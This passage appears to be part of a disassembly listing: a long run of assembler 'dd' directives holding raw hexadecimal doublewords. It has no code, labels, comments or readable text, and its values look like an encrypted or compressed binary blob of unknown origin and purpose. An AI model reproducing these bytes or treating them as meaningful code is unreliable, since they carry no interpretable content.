794E5FAEh, 1684A033h, 9A2266B6h, 0AC7A3A14h dd 1126C601h, 80F5C93Ch, 72D824E1h, 1FAD99Dh, 0EEC8781h dd 0F8489641h, 0D28599Bh, 0C13DF8F3h, 0C62A45Dh, 2168609h dd 0D6EEB8h, 8B61C842h, 4B35B4A0h, 0CAF71500h, 0C9F92CDEh dd 0C340C091h, 87F3895Dh, 8866F0EDh, 0CAB8E301h, 7E869808h dd 58417C25h, 0AE01871Dh, 0DCF84268h, 21849520h, 32D0C3D3h dd 30AF4564h, 5AB3E817h, 0C118DD60h, 48884879h, 0B81DC80Bh dd 846FCCE5h, 4C9203B1h, 71753F34h, 3421C885h, 40889EEFh dd 4443A9B6h, 49A0100Dh, 0F9AD15FEh, 0EEC600D4h, 0FF1ED2E0h dd 88609045h, 0F6158124h, 26CB7C7Fh, 419CAA18h, 304D8D53h dd 0F6494964h, 12C00320h, 93C9CD1Bh, 77F803E0h, 8FD80A80h dd 0AE3715C0h, 356E531Fh, 0DA7B8C80h, 6E9F9CCh, 8752B8FAh dd 1A101836h, 580CCAFEh, 0F608948Dh, 92F355E8h, 0EA1E0619h dd 11163BBh, 3087E33h, 2A162EBBh, 0DBA89374h, 0E8012CECh dd 758CD485h, 28BCE780h, 8410AF32h, 0F4013E11h, 8BE011CAh dd 104287E1h, 0B13106D2h, 2E8A5800h, 0F84A4440h, 0E47800D9h dd 0DB7DE379h, 413AD3FCh, 0BB1981B5h, 0F8AF985Ch, 81FA25C8h dd 4D388010h, 0B6F69280h, 0C00CA032h, 9A7400BAh, 0F233BB1Ah dd 0D1084138h, 8C8CE3FCh, 698F6D3h, 6EFC18DDh, 7B4A40B1h dd 182144FAh, 20477916h, 0AE67599Dh, 69602E28h, 15A70E78h dd 5CB2624Ch, 72F0187Ch, 8DEE49C0h, 2550FE78h, 0B880F308h dd 1F1899Ah, 0A8179755h, 40A2491Fh, 21C727F4h, 0A7F06071h dd 676538Ah, 0F1CAE882h, 7300B9FFh, 0C99F790Eh, 0C69804Ch dd 2EF8B3F7h, 6400CBF8h, 0A236397Dh, 7A6B5FCh, 9372FF20h dd 584B5062h, 7400F2F5h, 21B15297h, 0DEEEE217h, 0AA31E58h dd 80846013h, 0F04B26C7h, 483D5FF7h, 6F6B8773h, 8FE02818h dd 7057DDh, 719E3568h, 8156B6B5h, 0B45C3100h, 36186621h dd 59AF3BFCh, 485498E5h, 6A80FB64h, 0F0678BCEh, 4D01FD4Ah dd 0CA804091h, 0FA18C898h, 7911AED4h, 0A467E9Dh, 0AFD975E1h dd 0E215859Ch, 52787067h, 37004434h, 0E8079990h, 484FDCFBh dd 0C900CD95h, 49DDC3B7h, 11C8E01Dh, 8EAB00ADh, 694DB2ECh dd 0E87EEE7Ch, 0FF07B307h, 9B863429h, 507E0040h, 1BC504FEh dd 0F3186FB1h, 0FD31186Ah, 430618E6h, 0D57A11E4h, 0C8FBB003h dd 3CF3A94Fh, 0B9030781h, 0F6E5CB4Eh, 0DEB567D8h, 11A0F203h dd 0B61B754Fh, 0E1F50618h, 38EA07B2h, 0FE23EE06h, 0F089C7B0h dd 3B4F0DDh, 0ECB1F6A9h, 18C03A0Bh, 4A0FE041h, 4B4E6Eh dd 0F5828E38h, 3C464C8Bh, 751C3F03h, 63C732C6h, 0E9D6934Ch dd 530D5A04h, 4647CE34h, 1167E02Eh, 0A8A3AC6Eh, 38D51006h dd 4718EF3h, 287C19B8h, 521080F2h, 44501707h, 7B3FD11Ch dd 0C64D0272h, 0B3F3B0C7h, 10E8E2A8h, 0D8F10F7Ah, 8CA7B718h dd 37459C81h, 0E84CA66Ch, 0F218E9F5h, 4D18FA43h, 956D210Dh dd 3F121258h, 0B2D60011h, 0F5CE9EFCh, 0CB92002Eh, 5BD0D940h dd 730A51EBh, 0C0116F4Dh, 0E1D751B3h, 8051470Ch, 4602F0B8h dd 3D1B3045h, 6E94C871h, 8F4688EDh, 0C050CA6Fh, 778C99D5h dd 4B320581h, 103D5D43h, 0C00B0C8h, 0B24F5953h, 0BD74B3ECh dd 7428F5B8h, 0EA60584Dh, 0DDAE6791h, 7AE0077Dh, 66E1DBC5h dd 0FA03C036h, 0B8B79630h, 6F11053Ah, 0C1D9F3A1h, 838E4B7Eh dd 0E5F5E840h, 9109F17Eh, 2295C082h, 9C40E9BEh, 8492AEA6h dd 0F76C2B0Fh, 301126BCh, 91B80051h, 0DBDC60E3h, 44E67BF3h dd 0C3E4BCA4h, 0E1A0F118h, 2816811h, 60DDBAECh, 0F8A7B2EDh dd 7292879Eh, 38400F2Ah, 0B9011F7Ch, 7DE83332h, 44225E09h dd 7686E609h, 88B11C00h, 8437E39Ch, 92878937h, 0B5549081h dd 7D9D2080h, 441BF220h, 3FEC4301h, 186B82A6h, 0C0A860D0h dd 8A0662D0h, 8622E3ACh, 0A6C71835h, 925FB190h, 0D1C68D03h dd 98874FE9h, 61D64Ah, 58B1AE0Dh, 0C186DEFh, 3300C6E6h dd 545037B6h, 9CEE87Fh, 206FF30Fh, 770DFC2Fh, 7011F610h dd 0F081781Ch, 0B1893010h, 0B2FE0909h, 0D3C023FFh, 0C2EDF0B7h dd 0DCFD546Ch, 0CFF40E7Ch, 74218B0Fh, 0E29086E1h, 0B666AC81h dd 0CD30404Dh, 43220975h, 0CF633508h, 613786F1h, 0C9C87054h dd 61EC4D31h, 29813363h, 7D6D6FC0h, 0B1C024DDh, 87E38214h dd 7EB6809Ch, 2F7ECFBh, 70A85DF3h, 0B0846528h, 0CE520685h dd 97B90060h, 49FF9B68h, 0DB120BFDh, 9444964Fh, 9C82B8B4h dd 0B20C2FA1h, 3C84A910h, 0B121DDC5h, 0B922D210h, 0EBCDCE09h dd 9A1405ECh, 0A88B844Dh, 84292E1h, 915106A5h, 1F55501h dd 0E772DC8Eh, 46628050h, 32ABEA30h, 6FACECFh, 30A29CA5h dd 0B03F4098h, 7F095492h, 8FB47D29h, 80274A64h, 46661E03h dd 0D16F90DEh, 4228C0D0h, 6414884Fh, 78160924h, 46F56A80h dd 7C829392h, 1532297Fh, 720B800Ch, 0E7E376B9h, 81391C98h dd 13ED9FFDh, 5E870C00h, 0A8402964h, 9214B840h, 0E376EE94h dd 0B0E81834h, 0C1C76420h, 8F408144h, 1FB1F00Bh, 7AEAD310h dd 0ECE0C204h, 9B54C87Ch, 0DEAEB700h, 0CE5611A2h, 394B068h dd 2B1EA27h, 0B0041062h, 0A3C919B0h, 0EE3220C0h, 0FA9A1649h dd 97200259h, 8060FB3Ah, 14725CEBh, 264D6180h, 3288D5Eh dd 0D21546B9h, 5C30A802h, 48FF02B0h, 280F37E0h, 9BD805C2h dd 6B800DCh, 58ABB31Eh, 0FE72DB13h, 87585458h, 7E094024h dd 0F8BD5B20h, 2B1C327Dh, 0BC649718h, 952CB475h, 0A7052878h dd 0E80201ADh, 0A61EB9h, 80413C63h, 0BE000DF4h, 0CBEAA10Fh dd 120EB33h, 0ADF2737Ah, 4385B1FEh, 0B01CECB8h, 4830C0ABh dd 80A2A401h, 0FD32674Ah, 64F560BEh, 6FDC3E4Ch, 0B8964D0Ah dd 0D9134284h, 0B5484F20h, 1BF30079h, 9D054D8Eh, 0D306D8C9h dd 53EF14B1h, 104443F8h, 3684DE39h, 0D8F821BFh, 0B0E8370Eh dd 7905C193h, 3E4B20F9h, 0A131AE04h, 1F2E02C5h, 904DA7Eh dd 88008A6h, 90E1785Bh, 0C4CB0040h, 56E8F3F8h, 5E041FA5h dd 9B632F92h, 856DAC90h, 0A0CF30AEh, 7065D6B8h, 0AD9B30C0h dd 126E1669h, 0EA6D4Dh, 0E13DEE20h, 76537F2Ah, 44BE8420h dd 9EB6663h, 0F4548CE8h, 20E35E24h, 61A5E88Fh, 1D817E8Ah dd 16571034h, 21DABEh, 0C533737Ch, 6017C0B0h, 19050CBFh dd 78C0DF42h, 0C89F1B57h, 1880CF29h, 0F96640D4h, 612207D9h dd 8521AEF3h, 9081842h, 5D3CEA3Dh, 0C05B8091h, 0C6416790h dd 6D1B00A4h, 5A12ADCBh, 560085ACh, 58DD7233h, 1EE97BFh dd 31612668h, 0F8744DEFh, 810469D6h, 80C27A8Bh, 0F29EEE80h dd 30A63EABh, 0D0FAA180h, 0F44E3D9Dh, 763F4B00h, 3C015D96h dd 0B32D00B5h, 6964E93Bh, 22010D28h, 0CE931E2Ah, 18803946h dd 1914F090h, 0D800305Eh, 3259C505h, 2462C72h, 52F2A5F6h dd 8450C05Fh, 0D902F107h, 93204D2Dh, 39187E8h, 0F038B350h dd 0B0004AA6h, 19BC43DCh dd 26F4B9B2h, 68A892h, 9DC9E303h, 0F506BF9Eh, 0B2601C44h dd 3BF900A8h, 4B8BD70Dh, 2A009C51h, 0E6920649h, 5D4A40h dd 41785AC7h, 99079FA9h, 0FC423A00h, 95670E5Ch, 0B11003Fh dd 83847514h, 0AE076F79h, 0C9741A64h, 2D61002Fh, 0E1020h dd 977ACAFFh, 0FD94F8F1h, 89D7B900h, 35F3AEB8h, 387C000Ch dd 1FCAE3AAh, 990050AFh, 58F82191h, 0BAFD83F1h, 0DEEEC4h dd 0DDBF117Eh, 56B92F64h, 0B619B500h, 0BD149051h, 28DC0055h dd 0E56B9877h, 0E7F82447h, 8D8E4500h, 0A2975D8Fh, 8B4C07D4h dd 301ADDCCh, 2619A3C5h, 894F300h, 5F0E943h, 9DD1003Dh dd 0FFB1B5B4h, 0E80041CBh, 568BF6D2h, 3DE5E666h, 4E80F57Ch dd 1F4BE98Ah, 6500CE44h, 306401BBh, 4F8C7C8Dh, 0FEC0A0CFh dd 5E409900h, 0CB628F39h, 0C063EE94h, 314FD308h, 96006087h dd 0E170195Ah, 3A33982h, 1F0332F2h, 100084DAh, 5E6FB35h dd 0E3E4DBh, 0E2DCB69Ah, 28A7B409h, 0C890F450h, 26E4203h dd 80944DAFh, 6546A9h, 4041A608h, 4C45AD03h, 7867173Dh dd 343C741Fh, 0DE3A7600h, 4F1E7Ah, 7EE49226h, 8A2FA4DBh dd 3D1DD20h, 0D8428D6h, 1192AA43h, 2B5A040h, 2D726F03h dd 0AC3A54h, 989D2328h, 90DA0C7Eh, 55600800h, 0DE81103Eh dd 12EA7777h, 7CAB82Ch, 9015C468h, 6EAD0B65h, 0BF00ED79h dd 559C3AE4h, 8C3E32h, 577A4206h, 2713947h, 0BBF9D307h dd 0E40951Ah, 336809h, 0C936D5BCh, 6B2A621h, 3D9AF100h dd 0D2814149h, 919C0020h, 853148E6h, 1203DCEFh, 0A66AE5D1h dd 0EC39B8FFh, 52F009E2h, 58828D0Eh, 447A4FAh, 0DA04B313h dd 9C809195h, 0C3C9DBh, 0BE34C008h, 8B5C66A9h, 2459CB00h dd 30F00621h, 0F9C324B8h, 0F3D600F4h, 0FC323D51h, 760BDF98h dd 7EB19E4h, 803CF0CCh, 0F4135D75h, 0C34EDB01h, 34E92248h dd 0F00DA30h, 0EDD3EFC4h, 73331DCh, 0EEC03AE1h, 67F220A6h dd 0A7002771h, 78EA9F85h, 0ED7692Fh, 8B542F1h, 0C77907C0h dd 3E006E9Dh, 0EE8CCA33h, 65C98Ah, 5141647Fh, 286C7938h dd 0A3A1FC0Fh, 0F3216786h, 0B2437460h, 269B00F7h, 4DF42246h dd 5001DDEh, 0B7DFF1BEh, 3FAEB0h, 937AD798h, 0CF83EBEFh dd 6109F0A0h, 65C7D04Ah, 6A11FC30h, 16D700CBh, 1884CE4Bh dd 0B001D27Fh, 0B24E215Eh, 0E0D362CCh, 48782Eh, 406017FCh dd 9E733F8Fh, 5934D200h, 74645C2Ah, 4E8E00B5h, 0D1849228h dd 93FEFBDBh, 2053E301h, 0E2690BD6h, 38F50CE8h, 5A80557Bh dd 14A3F001h, 2D0747DAh, 8D1F3563h, 55C63690h, 0E9F83BB4h dd 92CEF601h, 0F1A5BFF7h, 91BC2045h, 26FBEB00h, 0E2682E30h dd 3C378DDh, 0B25502Ah, 0C280E83Ah, 77003047h, 424EE2F4h dd 2DB3D11h, 8F7EAE1Dh, 18CAA7D0h, 3F64E860h, 393D4E01h dd 0E6CFE919h, 0EFE4E0DEh, 81D50923h, 0A4803CE0h, 159E2E43h dd 5C73847Ah, 91B0F2F4h, 4C920FEEh, 8DE4B501h, 0E2B9C187h dd 7256ECE4h, 6CD9006Ah, 0FDA06321h, 73004044h, 97B85D78h dd 3DF4C64h, 0CAE42D90h, 0A498768Bh, 8F28119h, 0C73C489Ah dd 0AB458265h, 0C0BC02A2h, 0FC5FE5Bh, 0A6C28FC0h, 0C15BDA41h dd 80E84717h, 0F609D706h, 8B791600h, 635CE7BCh, 626900C6h dd 0BB04F5A7h, 8240D09h, 3B003765h, 0FE44224h, 0F61CF033h dd 4F9B0F2Eh, 9340B08Eh, 0C109C562h, 4C895C00h, 5E021404h dd 0B2F43A1Ch, 0B4A58780h, 78FF62E1h, 9D00C0B8h, 8F6F824Ch dd 18AE508h, 96796983h, 0D86C567Eh, 0DA000B91h, 705280BFh dd 829575h, 588584E0h, 7937B76h, 928BDE00h, 9DDDA40Fh dd 60D460FFh, 230655BFh, 6F853F00h, 0D570E7Ah, 10FE549Eh dd 6EDD8005h, 0E5367A1Dh, 900C860Eh, 6F7D340Fh, 0A5DFEE00h dd 9D802B24h, 0A420A0F9h, 99CB001Ah, 5824504Eh, 0FE7C697Dh dd 0C2C05700h, 0A79B9438h, 0C5750191h, 4E4FDFA5h, 62D0F824h dd 49549E54h, 81C2A00Ch, 0A84385Eh, 0F49E0358h, 234F0A10h dd 0C1A4011Ch, 0C005D774h, 0FC003532h, 878E6440h, 0E642F9B6h dd 61D30078h, 90B0E862h, 6C00B388h, 3616551Dh, 9040FC4h dd 52C37CCEh, 46DDDC00h, 0D700DEE4h, 0A51290A3h, 0BE8F1Ah dd 9F6C2A21h, 66881CC8h, 7F6A7800h, 8E543513h, 0A1E539C3h dd 7A85B200h, 0C5B51731h, 7D7F2B00h, 0A67E3318h, 193800D1h dd 3D7112CDh, 75005E65h, 8EDAA72Ah, 1E403Ch, 0B42F4946h dd 1C32389Ch, 0E3FF2E00h, 0E73E3BBEh, 2873078Eh, 90455E16h dd 0DBD5CB23h, 9AD69B0Ah, 3802B490h, 0C0ADC6E0h, 5B3C881h dd 0AEC7DF40h, 9081911h, 0F058617Eh, 0B0F8BAB4h, 9CEEB675h dd 0B213D0EEh, 9600BFA7h, 68D393BBh, 2FA3014Ah, 8550211Eh dd 0CA44DCB9h, 9A0C3Ah, 384AADD1h, 13A77BDh, 0F3B80D88h dd 0E8CB9587h, 600D2B7h, 0E342BE93h, 928494h, 8BBA7863h dd 0F27AA0Dh, 0E2F3DE01h, 0F048F58Fh, 8866218Fh, 4DE65180h dd 2E0F22CDh, 0C8D325Ah, 189FA99Bh, 31B26869h, 0B90E6B6Ch dd 8032A28Eh, 85AFA3E4h, 766E00C2h, 7C877B0Fh, 841E5DF9h dd 0C9664E97h, 8859FF00h, 9ED98h, 899DCEE6h, 0A566E916h dd 30F96AEEh, 73002005h, 76617F67h, 1901843Eh, 98CED681h dd 2AD82068h, 6F464B00h, 76DF7ABAh, 1FAE70EEh, 8040E71Ah dd 8A83F07Dh, 0C140DB0h, 1DD4AF8Ch, 0A98032D0h, 0D8C7991Ah dd 0D1660075h, 7BD3383Dh, 8D0027A4h, 0D5FF5EB1h, 4247FF1h dd 0C558226Ch, 0E33D804Fh, 1818C202h, 11587AE5h, 9D8D886Dh dd 65E95900h, 0A25B7991h, 3B5F1716h, 8E1B0442h, 0FE108041h dd 0BC01CD54h, 4AC88F6Bh, 8E60882Fh, 267483h, 0F4E5F8E9h dd 641D1035h, 1C5F5C00h, 0AF4AE2F1h, 619E0EB7h, 9DC29CBAh dd 90837215h, 0A7D10F2Ch, 6AB760BDh, 813D3Eh, 0FA51383Fh dd 0ED7399h, 82F833A9h, 0A8F06019h, 0D84F2A2Dh, 0EBFF8CCh dd 0B85C624h, 1DA2EE0Ch, 39009BE4h, 759045E5h, 3AE97FF8h dd 732FCDh, 0BBA6A1C9h, 85195BFEh, 0DE29B0Ah, 0DE00CCE5h dd 777E3289h, 733D0446h, 0C06431AAh, 84E4171Ch, 8CE04B00h dd 92C49798h, 5FBA0659h, 893A87Eh, 2C153E00h, 0CE019950h dd 0DE100F06h, 0C8380ADAh, 31019217h, 0D673C65Eh, 0A02EBE20h dd 567CE7F7h, 0FC8CF412h, 3AAFF800h, 78FD46FAh, 70D50076h dd 0A0518322h, 0CD004A07h, 0C094D1D0h, 0ED5ECCFFh, 0D76C30h dd 0C9CEAE4Fh, 5A30397h, 0A042642Ah, 91C1B91Ch, 8009DC8Bh dd 7069F82h, 0B4410190h, 4B99BCA6h, 50A1D1AAh, 0EF4C8E90h dd 45379C00h, 0FD44E257h, 87AE18D1h, 7F23504Fh, 549F53Bh dd 26E8F88Eh, 81508C09h, 6654B806h, 0FB312980h, 361957E4h dd 3F1C24E5h, 4EECE90Fh, 7333A123h, 0CC34CF8Dh, 83ED0032h dd 9785E0BCh, 9F3BC598h, 0D63E809Ch, 349E9BB0h, 305000F8h dd 983259FAh, 7E00B97Dh, 9AF541C4h, 188E3B4h, 1777447h dd 0F0708B06h, 3E3E974Ah, 590078E8h, 0B99290D7h, 384DC66Dh dd 30268028h, 0B4680126h, 0D0A4034Bh, 0B0070D1h, 4574667Bh dd 377AB39Dh, 0B0107CDBh, 0BE91ACAAh, 11DA488h, 0A1290EC9h dd 0EA69DE41h, 44001064h, 0EDE275F3h, 0ADF08Ah, 0B8DB3A3Eh dd 0EE7BD5E6h, 441DBC2Ch, 0D6777107h, 36E2E060h, 1AB20B4Bh dd 86C0132Eh, 72050688h, 64F1D466h, 0BD9B1D80h, 0B49C004Ah dd 379242E6h, 3014B6C2h, 78C56EEh, 0DAE70DB9h, 8634D8C1h dd 0D0DBBBEFh, 3125D6Fh dd 0EC72C805h, 409FB5B9h, 22CE65AFh, 0D0A72000h, 70C48315h dd 7811009Dh, 0A9B7C68Eh, 0C4987C72h, 0BBEA820Eh, 0BDCD609Ah dd 8C801Bh, 0A5CAE54Eh, 0D3595BACh, 0ABF4EB00h, 0C145CE86h dd 0D8A00FEh, 0B7B43858h, 654EFAECh, 55C02580h, 8A7C0781h dd 70825156h, 22D0EE14h, 0B3A46600h, 8E252EF9h, 2A9C0008h dd 6CA7508Fh, 5D00F34Ah, 4518DFD6h, 6CA34E6h, 0DBBB8477h dd 400F104Bh, 60682F29h, 0B25DF618h, 0FCC80EA4h, 0BC0F89BDh dd 45A71D60h, 72C06880h, 2A38E509h, 4FE900F1h, 0B289C6FFh dd 1B60CCEBh, 3F4EE50h, 0B4091D92h, 0C5AFC212h, 3E37485h dd 46062074h, 0FF11209Eh, 0AF9800D0h, 8D2A8BFBh, 9F0034E7h dd 357440A2h, 0C4B20h, 0F7D162Eh, 64593985h, 6887C201h dd 726988Dh, 0B079F0C8h, 0C677F3h, 0A3D56AF7h, 5F95DDADh dd 237B2100h, 0C18EE0Eh, 615AE2FAh, 0C38628C7h, 13B9F429h dd 80CF843Ah, 20879C5Dh, 1F4FEEBBh, 2BD993h, 0B77576C5h dd 15038A32h, 0DC7D808Fh, 164EE0ADh, 0D54D0057h, 78779740h dd 19009607h, 45428A9h, 5D334Ah, 0AB5F905Ah, 943F7339h dd 0BC9E1D0Fh, 0C587DD12h, 3A535641h, 93B11263h, 0FA600073h dd 687AD792h, 8C50D590h, 7F00638Ch, 0A09B9354h, 0E47691h dd 12DC49ACh, 489F4540h, 0AA5C5B00h, 0A465204Bh, 0E50B0533h dd 807294DDh, 1D286803h, 98836A00h, 75776D22h, 873B1CB2h dd 500D4141h, 0DC474EF9h, 20F8DD59h, 37386A0Eh, 73D2C032h dd 2C3C17F4h, 1BB853h, 42D82F68h, 381F5C0Dh, 0A2809E6Dh dd 0F586A55h, 75331279h, 895840FDh, 560A0D02h, 0F81E1E72h dd 0E4403271h, 0B05497Ah, 603C0720h, 808F64FEh, 5C401BE9h dd 306C0200h, 4221F207h, 70FC0052h, 98FF0333h, 9189C28h dd 0FD60A6E9h, 8E943020h, 453B0371h, 8123E30h, 28C911CCh dd 310BC20h, 0FBA5A10Fh, 0F2C80A3Fh, 0F374098Fh, 0E37F690Ch dd 18815075h, 0C12A71F9h, 0A9835A8h, 0E3087F61h, 8DE4362Fh dd 58A500B4h, 0EFA6EB08h, 283F2A77h, 187DB056h, 60F26B8Fh dd 71FB38C9h, 40C1B560h, 7561B72Bh, 298D4841h, 30383446h dd 5C08B5E7h, 0F92886B7h, 7E2810CCh, 0FB3050E6h, 7F92C047h dd 0A3981F1Eh, 0F7080A1h, 46DADD4Ch, 0A7409F00h, 61D0CE6Fh dd 0C57F03CCh, 4EA3FB3Eh, 2EA0E893h, 75309349h, 48EA60FEh dd 0B242162Dh, 64540C29h, 0B4761719h, 30437A03h, 808AA422h dd 0C09B6024h, 1C0DB688h, 8D003246h, 0F213096Ah, 18A50F4Ch dd 184EDEBDh, 4012482h, 0A3A77610h, 13E0B6DAh, 0E710C031h dd 933F7E4Bh, 5030AAE2h, 0F72CE07Dh, 6C1C00EEh, 2BED9B76h dd 0DD3C02DFh, 0EA09006Ah, 0FD8B0B26h, 4EE70F2Ah, 3816924h dd 8074D9FAh, 0B4AE9F99h, 0E8935D4h, 0EEDA775h, 0F78BD9ABh dd 0BEE70800h, 0A0C74846h, 6B207F7Ch, 0DF7A43ABh, 58F6DC80h dd 565E5809h, 55DE9500h, 2AE57ED1h, 1588C1E2h, 61F11FA4h dd 114CF0B1h, 535018F0h, 0AA3C2A94h, 7388850Ah, 0E058050Eh dd 44322190h, 3214476h, 46C6042Fh, 51F41043h, 0EFC886FCh dd 11E835CCh, 0A66AE002h, 73748E59h, 0FBC0A119h, 0CA741E4h dd 4AA00EF1h, 3360D568h, 3C9B64F1h, 0E3F900CCh, 5B014252h dd 0D1E26B75h, 91D64603h, 0B9B5ED2Ch, 4822723Eh, 2BFB5E0Eh dd 0E7C074AEh, 2A60E90Ah, 0F68ECCA0h, 72CCC1DFh, 183135h dd 0E445A906h, 0EDDA6BD4h, 620CFD74h, 887E2786h, 0D8EB008Eh dd 0DC1757D0h, 391234BFh, 0F4207F6Ch, 9078F9E1h, 0E9A91EB5h dd 1AE08087h, 9493038Dh, 3B3D71C0h, 2CB168h, 0AB07E99Dh dd 896AE6A4h, 920563Eh, 7DED44h, 0B598BE24h, 0B07764A1h dd 40EC4F88h, 5025F19Bh, 7B2262Ah, 0D2F90018h, 427A54A7h dd 0F58E760Ch, 1510319Fh, 0C85588CFh, 0FB736100h, 786E0DEAh dd 0CD4A080Fh, 0A0242AE7h, 1592013Eh, 0B3A37ED2h, 0C543C4h dd 539820BAh, 0EE4725D8h, 0F800DAF2h, 46CBF7ACh, 0F41062AEh dd 0C7E216h, 9CC452DBh, 9EC6544Dh, 0C94E4B03h, 0A37FA0CFh dd 0CE7398CAh, 46A338D6h, 564C490Bh, 5C2E7E80h, 4FEE48B3h dd 3F41EB00h, 91AD0E67h, 0C0161E2Bh, 0E98C40D2h, 5B7A245Dh dd 692A7C0Fh, 0D1674730h, 0DBB5EF50h, 8F9E0EE5h, 0AB78D17h dd 0AAFFF7h, 7270649Bh, 84034E79h, 19A960EDh, 0FEADB8DCh dd 6D341D2Bh, 0D75F00EFh, 916E14B6h, 73B4AB04h, 41C065BDh dd 10646BAh, 37F23D44h, 0E8EBBF03h, 4B00B99Fh, 6986DEF0h dd 0BDA3B2h, 0B43EE4FAh, 4CDBB739h, 0E5254E05h, 0ED802850h dd 0EC8FF81h, 7F467840h, 900C8260h, 0AB065C7Dh, 8F1CED93h dd 1FBC03C8h, 0E5792CD9h, 0A34CEB90h, 504ACE00h, 9B452F0Ch dd 5CCF3D9Fh, 0B3135B80h, 8C2B430Dh, 16A590Dh, 55C8C04Dh dd 72F20029h, 0C78ED6B2h, 0E30E5067h, 4063A812h, 1981FFCh dd 0C6B31F2Fh, 1EB2C083h, 5C129DDAh, 0AE1C5D00h, 96C4542Bh dd 597548h, 0E5D276FBh, 7CD96364h, 0E42C0D00h, 20C5F8C4h dd 659C002Fh, 577F74CEh, 9D5C0B61h, 456C035Fh, 0E0EC0D7Dh dd 7410AACh, 95218BE4h, 70DDF666h, 2430C700h, 0EEB2E77h dd 79DE0086h, 0E82F761Eh, 65248513h, 590E3362h, 3DA8A0E3h dd 1DF539D6h, 4FFB717Fh, 0F1604D43h, 72B6D2EAh, 0EB03CE00h dd 0F8318C2Eh, 5EED0037h, 4836A918h, 2500C027h, 0B2A8ABADh dd 0E5C804h, 3ED0E4E7h, 0E8E67564h, 21870707h, 0E0AE69A5h dd 174551CAh, 71EE6Fh, 812EDCD9h, 0D4CE262Ch, 6338D707h dd 0EDD0E95Ah, 4886F91Bh, 0DF005A61h, 0B36496C1h, 9701A446h dd 0BC0EAA1Dh, 8F30A0BDh, 0C3C20052h, 12B03EB4h, 77007FF3h dd 89D0D6EAh, 0CA0EBDh, 0FE3B9375h, 0A09A6290h, 0DAAF370Fh dd 0C0D1422Dh, 2B6AE081h, 0A9800F1h, 9A25F30Dh, 76008653h dd 0E9DE0317h, 0F451448Fh, 0BF52009Fh, 0A3552C97h, 0D00EA121h dd 802440CCh, 98464E29h, 3DFE00C9h, 0D250EA14h, 3F48C7CAh dd 0BC2703E8h, 3935A469h, 34811D40h, 5E967A14h, 54C8886Dh dd 35CA80B3h, 11D92340h, 2500BB7Eh, 0D370AA2Ch, 0ADA78EBh dd 4AAC16EEh, 0D25780A4h, 0D39FEC45h, 0A6BC7700h, 0E7179853h dd 0B54901F1h, 16321BEEh, 0A29C4006h, 45E2A895h, 1C963000h dd 79765B21h, 7749E4FCh, 0F987001Fh, 64BE9A2h, 0DEA01EE4h dd 0A43D7458h, 3BCF84D3h, 0C0AB6CF9h, 0AD054DBh, 0B88BDF37h dd 0B4F6CD60h, 4AB90078h, 0F2F97F5Eh, 1700B330h, 0D0AF352Eh dd 385D4h, 4C9BECB7h, 10ACF0B9h, 64E28A00h, 325AB576h dd 0E5861F63h, 0E9B407F7h, 3ADA0068h, 0F300FE58h, 188CBC9Eh dd 3C7A5582h, 758084E6h, 94E2522Ch, 6A50D63Bh, 970FCCE0h dd 2078121Fh, 1534E811h, 453800BDh, 2B74432Eh, 0BC02253Eh dd 8F79482Dh, 1F27605Eh, 42A000FBh, 0D40224C6h, 5C58C5F0h dd 3D34006Ah, 50E92735h, 21C000E5h, 7CD04A74h, 890C8456h dd 594EFB58h, 7E96F2DAh, 47D40F4Dh, 0BCC045B1h, 53FAE87Bh dd 7FDB0C03h, 89089AF8h, 0D0D36F82h, 0CD8BFDh, 0E686D295h dd 67281532h, 0EEECC200h, 0E1B6A8C4h, 66E00288h, 4B03AC3Ch dd 283B3040h, 0F36A5F07h, 0C44A7B54h, 0D4B29181h, 7080980Bh dd 0B8A6C8B9h, 47EC8EE7h, 0FBE09DA0h, 3E6CBB13h, 93C09C00h dd 2EF9C103h, 0B5F61h, 59A2682Ch, 0A8F87D64h, 0DEBF7200h dd 3E2139AAh, 7F3101C6h, 0DA63EA11h, 0E83CE4B2h, 557684A0h dd 0B9CDC300h, 73D7F1B7h dd 0CEC9980Ch, 320C788h, 6C041071h, 0E0276E07h, 0FCA06261h dd 14B82D0Fh, 0A9F50A64h, 3BDBCC00h, 0E1E3552Eh, 0F8016174h dd 3E8A2A7Fh, 1ED05DDEh, 44A024BFh, 57C90097h, 21A69523h dd 3047749h, 8B1FADF3h, 0DE8390E1h, 82DD2C89h, 7882816h dd 0AE48CBCFh, 0EABC00D3h, 0B10004DEh, 7AC26FF0h, 219E295h dd 0AEACB301h, 0ACA0A6CFh, 0BCC7556Ah, 0A32D820Eh, 9400D27Bh dd 6BFFAA09h, 3630039Dh, 1F8B5751h, 0C4639BA8h, 644DF300h dd 3249AED6h, 6CE60079h, 75F85430h, 5165394Fh, 91C3299Ah dd 80FEE20Fh, 30566D9Ah, 11700047h, 0B3C5A4D4h, 761CB7D6h dd 0F900A90Fh, 40255A53h, 0B8C04CE6h, 637D8501h, 808AFCFDh dd 2355CF50h, 88A32Ch, 51E9A5E7h, 43D01463h, 47613403h dd 0E0B032DDh, 0DB0169h, 21583730h, 0D5737094h, 4DA8EE00h dd 6A2579C2h, 0D8F700C6h, 48343B9Dh, 0B807282Fh, 9B27B68Dh dd 0AE605607h, 1FB14013h, 8080B2FBh, 1B11576Dh, 610073B0h dd 7F38D5E9h, 0F8D30BB4h, 46E58DBh, 78947574h, 9FD6002Fh dd 8D81CD27h, 5300E111h, 58887904h, 343A4E9h, 0DFFAB47h dd 45D06532h, 0A2769236h, 0D507CA73h, 6DC7C896h, 5CEE2C90h dd 0B79307B0h, 603C6AADh, 128D8A2Bh, 4D0B4300h, 513D5626h dd 301E242h, 0A4899B2h, 3FA02447h, 25734F54h, 7400B090h dd 44405B33h, 0E524103h, 7B583172h, 9463EC1h, 0F70C20A4h dd 50CE5604h, 508136C6h, 82D42AB0h, 258C03ADh, 74568BA7h dd 0BF2889AEh, 540314B3h, 51E585E7h, 1C59A0C7h, 5218C323h dd 0EBA98217h, 29A03030h, 7EC10B03h, 0D05BAA1Eh, 984C4123h dd 0CFBB4866h, 3FE90328h, 0E3817BE9h, 88299330h, 0E451E1D6h dd 9DE266E6h, 0AFA94D0Ch, 20468922h, 0F7004BC7h, 0D8A6CE36h dd 33262E51h, 1805F08h, 0AC23ABC0h, 313E30C0h, 0F0A0E8EAh dd 74567757h, 1A5EA9Bh, 58336ECh, 608A21E3h, 80FCCA9Bh dd 821BE801h, 732E669Eh, 0E1E052D5h, 2BEB1D25h, 597740ABh dd 9B217EC9h, 9EC6CC00h, 0AE55075Ch, 9ACA01A2h, 0CBC36F16h dd 46E4E0A5h, 56747307h, 0FCD0FDFEh, 